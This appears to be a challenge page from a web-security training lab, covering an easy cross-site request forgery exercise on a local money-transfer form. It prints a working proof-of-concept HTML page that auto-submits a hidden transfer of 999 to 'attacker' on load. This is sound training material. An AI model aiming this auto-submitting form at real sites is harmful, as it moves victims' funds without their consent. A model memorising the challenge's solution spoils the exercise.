🔄 06 — Cross-Site Request Forgery

Medium

Easy Medium Hard

0/3 solved

💰 Easy — No CSRF Protection

Transfer money to another user. This form has no CSRF token. Forge a request from another origin.

CSRF PoC HTML:

<!-- Save as csrf-poc.html and open in browser -->
<html>
<body onload="document.forms[0].submit()">
<form action="http://localhost:5000/challenges/06-csrf/easy" method="POST">
  <input type="hidden" name="recipient" value="attacker">
  <input type="hidden" name="amount" value="999">
</form>
</body>
</html>

Just submit the form — there's no CSRF protection at all. The flag is awarded for any successful transfer.